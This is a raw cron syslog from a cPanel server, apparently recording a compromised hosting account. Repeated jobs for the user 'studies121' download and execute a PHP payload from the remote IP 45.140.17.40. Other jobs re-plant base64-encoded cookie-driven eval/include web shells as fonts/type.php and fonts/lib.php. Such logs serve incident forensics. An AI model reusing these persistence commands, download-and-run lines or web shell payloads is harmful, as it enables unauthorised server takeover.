Sep  6 12:51:01 ip-184-168-122-23 CROND[7016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:52:01 ip-184-168-122-23 CROND[7206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:52:01 ip-184-168-122-23 CROND[7208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:52:01 ip-184-168-122-23 CROND[7209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:52:01 ip-184-168-122-23 CROND[7211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:52:01 ip-184-168-122-23 CROND[7210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:53:01 ip-184-168-122-23 CROND[7397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:53:01 ip-184-168-122-23 CROND[7398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:53:01 ip-184-168-122-23 CROND[7403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:53:01 ip-184-168-122-23 CROND[7405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:54:01 ip-184-168-122-23 CROND[7597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:54:01 ip-184-168-122-23 CROND[7601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:54:01 ip-184-168-122-23 CROND[7599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:54:01 ip-184-168-122-23 CROND[7600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:54:01 ip-184-168-122-23 CROND[7602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:55:01 ip-184-168-122-23 CROND[7856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:55:01 ip-184-168-122-23 CROND[7859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:55:01 ip-184-168-122-23 CROND[7860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:55:01 ip-184-168-122-23 CROND[7858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:55:01 ip-184-168-122-23 CROND[7861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:55:01 ip-184-168-122-23 CROND[7862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:56:01 ip-184-168-122-23 CROND[8121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:56:01 ip-184-168-122-23 CROND[8123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:56:01 ip-184-168-122-23 CROND[8125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:56:01 ip-184-168-122-23 CROND[8124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:56:01 ip-184-168-122-23 CROND[8126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:57:01 ip-184-168-122-23 CROND[8340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:57:01 ip-184-168-122-23 CROND[8342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:57:01 ip-184-168-122-23 CROND[8343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:57:01 ip-184-168-122-23 CROND[8344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:58:01 ip-184-168-122-23 CROND[8712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:58:01 ip-184-168-122-23 CROND[8714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:58:01 ip-184-168-122-23 CROND[8717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:58:01 ip-184-168-122-23 CROND[8718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:58:01 ip-184-168-122-23 CROND[8715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:59:01 ip-184-168-122-23 CROND[9030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:59:01 ip-184-168-122-23 CROND[9033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:59:01 ip-184-168-122-23 CROND[9032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:59:01 ip-184-168-122-23 CROND[9034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:00:01 ip-184-168-122-23 CROND[9339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:00:01 ip-184-168-122-23 CROND[9347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:00:01 ip-184-168-122-23 CROND[9349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:00:01 ip-184-168-122-23 CROND[9345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:00:01 ip-184-168-122-23 CROND[9348]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:00:01 ip-184-168-122-23 CROND[9350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:00:01 ip-184-168-122-23 CROND[9344]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:00:01 ip-184-168-122-23 CROND[9346]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:01:01 ip-184-168-122-23 CROND[9694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:01:01 ip-184-168-122-23 CROND[9696]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 13:01:01 ip-184-168-122-23 CROND[9699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:01:01 ip-184-168-122-23 CROND[9698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:01:01 ip-184-168-122-23 CROND[9701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:01:01 ip-184-168-122-23 CROND[9697]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9696]: starting 0anacron
Sep  6 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9718]: finished 0anacron
Sep  6 13:02:01 ip-184-168-122-23 CROND[10133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:02:01 ip-184-168-122-23 CROND[10135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:02:01 ip-184-168-122-23 CROND[10139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:02:01 ip-184-168-122-23 CROND[10137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:02:01 ip-184-168-122-23 CROND[10138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:03:01 ip-184-168-122-23 CROND[10419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:03:01 ip-184-168-122-23 CROND[10421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:03:01 ip-184-168-122-23 CROND[10420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:03:01 ip-184-168-122-23 CROND[10423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:04:01 ip-184-168-122-23 CROND[10936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
